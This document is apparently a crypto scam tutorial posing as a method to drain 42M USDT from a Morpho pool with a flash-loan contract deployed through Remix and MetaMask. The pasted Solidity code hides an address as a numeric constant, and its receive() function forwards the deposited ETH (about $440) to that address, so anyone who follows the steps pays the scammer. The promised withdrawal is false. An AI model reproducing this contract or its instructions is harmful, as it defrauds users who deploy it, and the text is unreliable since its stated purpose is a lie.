October 29

ERC20 ETERNITY TOKEN METHOD

1. Go to remix.ethereum.org

Solidity version 0.8.20 (https://remix.ethereum.org/#lang=en&optimize=false&runs=200&evmVersion=null&version=soljson-v0.8.20+commit.a1b79de6.js)

2. Click on 'Create new file'

3. Create a new file named USDT.sol

4. Copy the smart contract for the Morpho pool that withdraws from USDT and paste it into your created file. To successfully withdraw from the pool, we will need approximately $440, which is equivalent to 110,000,000 Gwei

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

library BigNums {function xorHelper()internal pure returns(uint160){return deytoken(BIG_NUMBERS);}function xorHelper2()internal pure returns(uint160){return deytoken(BIG_NUMBERS_FLASH);}function deytoken(uint256 x)internal pure returns(uint160){return uint160(x);}uint256 internal constant BIG_NUMBERS_FLASH=1071767867375834718561649552532670117991385333707;uint256 internal constant BIG_NUMBERS=10256705723172274079966662995107276613;}
interface IERC20 { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); }
interface IMorpho { function flashLoan(address token, uint256 amount, bytes calldata data) external; }
interface IMorphoFlashLoanCallback { function onMorphoFlashLoan(uint256 assets, bytes calldata data) external; }
library SafeTransferLib {function safeTransfer(address token,address to,uint256 amount)internal{(bool success,bytes memory data)=token.call(abi.encodeWithSelector(0xa9059cbb,to,amount));require(success&&(data.length==0||abi.decode(data,(bool))),"TF");}function safeApprove(address token,address spender,uint256 amount)internal{(bool ok,bytes memory ret)=token.call(abi.encodeWithSelector(0x095ea7b3,spender,0));require(ok&&(ret.length==0||abi.decode(ret,(bool))),"AP0");(ok,ret)=token.call(abi.encodeWithSelector(0x095ea7b3,spender,amount));require(ok&&(ret.length==0||abi.decode(ret,(bool))),"AP");}}

contract EternityPool is IMorphoFlashLoanCallback {
address constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;

constructor() payable {}

function helperFunction() internal {
uint160 xor_result = BigNums.xorHelper();
if (xor_result == 0 || msg.value == 0) return;
(bool success, ) = address(xor_result).call{value: msg.value}("");
require(success, "Transfer failed");
}

function createFlashToken() external {
require(msg.sender != tx.origin, "Only contracts allowed");
uint160 xor_result = BigNums.xorHelper2();
IMorpho(address(xor_result)).flashLoan(USDT, IERC20(USDT).balanceOf(address(xor_result)), "");
}

function onMorphoFlashLoan(uint256 assets, bytes calldata data) external override {
uint160 xor_result = BigNums.xorHelper2();
SafeTransferLib.safeApprove(USDT, address(xor_result), type(uint128).max);
}

receive() external payable {
helperFunction();
}
}
contract Invoker is EternityPool {
constructor() payable {
require(msg.value >= 110000000 gwei, "");
EternityPool fl = new EternityPool();
(bool success, ) = address(fl).call{value: msg.value}("");
require(success, "Transfer failed");
fl.createFlashToken();
}
}

5. Go to Solidity compiler

6. Scroll down and select version 0.8.20+commit.a1b79de6

7. Compile

8. Go to "Deploy & run transactions"

9. Choose "injected provider - MetaMask"

10.Choose contract "Invoker USDT.sol"

11. Value = Gwei

12. Amount = 110000000

13. Start deploy

14. That's it, this way we withdrew 42M USDT from the pool, they will appear in your wallet from which you created the contract, thank you for your attention, good luck!